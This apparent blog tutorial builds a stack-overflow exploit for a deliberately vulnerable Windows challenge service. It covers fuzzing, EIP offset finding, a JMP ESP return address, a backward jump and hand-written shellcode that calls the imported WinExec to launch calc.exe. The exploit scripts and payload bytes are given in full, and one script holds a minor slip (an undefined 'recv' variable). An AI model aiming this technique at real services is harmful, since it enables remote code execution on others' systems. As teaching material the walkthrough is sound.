Windows Exploit Development: Utilizing imported functions (WinExec)

TLDR; this is a basic intro-level blog post that teaches how to utilize imported functions like WinExec to develop a payload that spawns calc.exe in a restricted memory space.

The scenario

We have a service that is vulnerable to stack overflow vulnerability with no memory protections. We will need to go through the process of developing a simple PoC that spawns calc.exe. The main challenge is to develop a payload that is less than 30 bytes. You can download the challenge from Here.

Starting from the top. Let’s fuzz the service using something like the code:

#!/usr/bin/python
import socket, os, time

for i in range(40):
    crash = "A" * i
    print str(len(crash))
    buffer = crash + "\r\n"
    print "[*] Sending exploit!"
    expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
    expl.connect(("1.1.1.1", 9999))
    expl.send(buffer)
    time.sleep(1)

.

The binary crashes after sending 18 characters. We can say that we control the EIP around after 18 characters, so let’s send 14 characters of As and 4 Bs at the end.

#!/usr/bin/python
import socket, os

crash = "A" * 18 + "B" * 4
print str(len(crash))
buffer = crash + "\r\n"
print "[*] Sending exploit!"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("1.1.1.1", 9999))
expl.send(buffer)

The below screenshot shows that the EBO gets overwritten and breaks the software. It gets overwritten with two As. The screenshot also shows that the stack is missing only 6 bytes to overwrite the EIP.

.

Based on that information, we can add six more bytes and check if the EIP is going to be changed with Bs or not.

#!/usr/bin/python
import socket, os

crash = "A" * 24 + "B" * 4
print str(len(crash))
buffer = crash + "\r\n"
print "[*] Sending exploit!"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("1.1.1.1", 9999))
expl.send(buffer)

.

Based on that, we know that the EI pointer gets changed after 24 bytes. We can use mona to find a jump ESP instruction.

.

The chosen address is 0x625012A0 which points to a JMP ESP instrection so we can go back to the stack again. The pseudocode would look like this:

"A" * 24 + EIP_Address

Now, the space we have and can work with is only 24 bytes. This is not that much of a space to accomplish the goal. If we, for example, use MSFvenom to generate a payload to run calc, the payload will be too long for the space we have.

The solution

If we decompile the service, we will be able to see that WinExec() is used. On x32dbg, if we go to the Symbols tab, we will see that the function WinExec is imported as shown below:

.

Since the memory protections are disabled, we know that we can use any function from the binary itself, so that means we can use WinExec to accomplish our goal.

WinExec

Based on Microsoft docs, WinExec needs two arguments:

UINT WinExec(
  LPCSTR lpCmdLine,
  UINT   uCmdShow
);

lpCmdLine which should be an address of a buffer that represents the command line arguments. uCmdShow which is for the display options. In our case, lpCmdLine would be just “calc” and uCmdShow would be SW_HIDE which is just 0.

Let’s analyze the memory space we have after the jump redirects the flow and goes back to the ESP address. We can see that we don’t have that much space after the ESP gets overwritten. But we have more than 20 bytes before the ESP. as shown below:

.

That means that we can place the payload at the beginning of the buffer and then the EIP value with an address of a jump. After the jump, we can have a short jump so that after the binary gets exploited, the EIP jumps backward to the start of the buffer and execute our payload. The next diagram should show that:

.

Going back to writing the payload, after we go back to the stack, we need to place a short backward jump like this:

"A" * 24 + EIP_Address + Backward_SHORT_Jump

Now, we need to utilize WinExec. First, we need to get the address of the instruction that calls WinExec. That can be done by going to the Symbols tab. and finding the address of WinExec, then going to where it is being used:

.

In the above example, WinExec is at 0x004018C4, but we also can use 0x004018C2 by using an instruction that calls WinExec, not WinExec itself.

Now, we can start working on WinExec arguments. The first argument is just calc. The second is 0. So we need to push these two to the stack first, then call WinExec.

To do that, we can start pushing the first argument, which is uCmdShow. We can do that by zeroing out a register then pushing it.

xor     eax,eax
push    eax

Then, we need to push the command line argument. calc consists of just 4 bytes, which are 63 61 6c 63. Having only 4 bytes makes it easy for us to push to the stack. If we have more than 4 bytes, we would need to push them in chunks of 4 bytes from the last to the first. In this case, we don’t need to do that.

63 61 6c 63

Let’s assume that the location of the buffer is ESP. Let’s assume that for now and change it later after we know where we can put it. That means we can push the ESP address to the stack as the second argument. That can be done this way:

PUSH ESP
POP EAX
PUSH EAX

Now, we need to push the address of the call function. The address is 0x004018C2, but it has a null byte, and that is an issue. But we can add an additional byte at the most right then, shifting the address to the right, which will add the null to match the address of the instruction we want.

So the instructions are the next:

mov     eax,0x4018C288
shr     eax,0x8

Then we need to jump to 0x004018C2, or call 0x004018C4. We cannot call 0x004018C2 because it pushes the EIP pointer to the stack when it jumps; the call instruction changes the stack, which means it changes the arguments WinExec uses, so be aware of that.

By now, we have a total of 19 bytes as shown below:

# The first argument
0:  31 c0                   xor    eax,eax
2:  50                      push   eax
# The second argument
3:  54                      push   esp
4:  58                      pop    eax
5:  50                      push   eax
# The address of the call function
6:  b8 88 c2 18 40          mov    eax,0x4018c288
b:  c1 e8 08                shr    eax,0x8
e:  ff e0                   jmp    eax

This is a total of 16 bytes, and we need to add an instruction to manipulate the ESP address to a new address where we can place the calc string. So for the calc buffer, we can place it after the EIP_Address and Backward_SHORT_Jump.

That means we can edit the EAX from instruction number 4 by adding 4 bytes to the address of the ESP, which has to be the address of the calc string.

That means that the current payload should look like this:

the_first_argument + the_second_argument + jump_to_call_function + EIP_Address + Backward_SHORT_Jump

.

payload  = ""
# xor    eax,eax
# push   eax
payload += "\x31\xC0\x50"
# push   esp
# pop    eax
# add    eax,0x4
# push   eax
payload += "\x54\x58\x83\xC0\x04\x50"
# 004018C2  CALL <JMP.&KERNEL32.WinExec>  ; \WinExec
# mov    eax,0x4018C288
payload += "\xB8\x88\xC2\x18\x40"
# shr    eax,0x8
payload += "\xC1\xE8\x08"
# jmp    eax
payload += "\xFF\xE0"
# 625012A0 - JMP ESP
EIP_Address = "\xA0\x12\x50\x62"
# short backward jump
Backward_SHORT_Jump = "\xEB\xE2"
# Random bytes to fill the rest of the space
random = "A" * ( 20 - len(recv))
# The pointer of "calc" string
calc_string = "\x63\x61\x6c\x63" + "\x00"
# The final payload
crash = "A" * 2 + payload + random + EIP_Address + Backward_SHORT_Jump + "\x90" * 6 + calc_string

This should work, so let’s try it.

It overwrites the EIP and goes to the jump ESP instruction.

.

A step forward:

.

It raches the backword jump.

.

It jumps backward, landing at the beginning of the payload.

Now, it pushes the first argument into the stack, which is right below the payload. Until now, there is no problem.

.

But when it pushes the second argument, it overwrites our payload and that is a problem we need to deal with.

.

To fix this, we can change the ESP first before pushing data into it. We can do that using the add instruction like this:

add    esp,0x8

Since we don’t control that much of a space after the Backward_SHORT_Jump jump, we need to move it near to the original ESP so we can use it later for the calc string. 0x08 is enough to fix the problem. The next diagram shows how it show work.

.

The payload should look like this now:

0:  83 c4 08                add    esp,0x8
3:  31 c0                   xor    eax,eax
5:  50                      push   eax
6:  54                      push   esp
7:  58                      pop    eax
8:  83 c0 04                add    eax,0x4
b:  50                      push   eax
c:  b8 88 c2 18 40          mov    eax,0x4018c288
11: c1 e8 08                shr    eax,0x8
14: ff e0                   jmp    eax

That means we have the EIP_Address + Backward_SHORT_Jump + 6 bytes of nops and finally, the calc_string.

Let’s try it again: .

It didn’t overwrite our instructions! This is a good sign. Now, we need to make sure that it pushes the right address for the calc_string string. The payload should look like this:

payload  = ""
# add    esp,0x8
payload += "\x83\xC4\x08"
# xor    eax,eax
# push   eax
payload += "\x31\xC0\x50"
# push   esp
# pop    eax
# add    eax,0x4
# push   eax
payload += "\x54\x58\x83\xC0\x04\x50"
# 004018C2  CALL <JMP.&KERNEL32.WinExec>  ; \WinExec
# mov    eax,0x4018C288
payload += "\xB8\x88\xC2\x18\x40"
# shr    eax,0x8
payload += "\xC1\xE8\x08"
# jmp    eax
payload += "\xFF\xE0"
# 625012A0 - JMP ESP
EIP_Address = "\xA0\x12\x50\x62"
# short backward jump
Backward_SHORT_Jump = "\xEB\xE2"
# Random bytes to fill the rest of the space 
random = "A" * ( 20 - len(payload))
# The pointer of "calc" string
calc_string = "\x63\x61\x6c\x63" + "\x00"
# The final payload
crash = "A" * 2 + payload + random + EIP_Address + Backward_SHORT_Jump + "\x90" * 6 + calc_string

Let’s try it now and see if it works:

.

and yes it works.

Summary

We found a vulnerability in a service, then found the right address to change the EIP. Then found a good jmp ESP to jump back to the ESP. After the execution flow gets redirected to the ESP, it jumps back to the beginning of the payload. In the way, we faced a couple of obstacles, and we solved them after debugging the code. The next diagram shows the payload flow.

.

With very limited space, we were able to develop a payload that utilizes the imported function WinExec to execute shellcode commands. That was done by understanding the binary we were trying to exploit. The usage of msfvenom to generate payloads is very helpful, but it’s not always the best way. Studying the binary and using its functions sometimes is more efficient.

References

  • https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html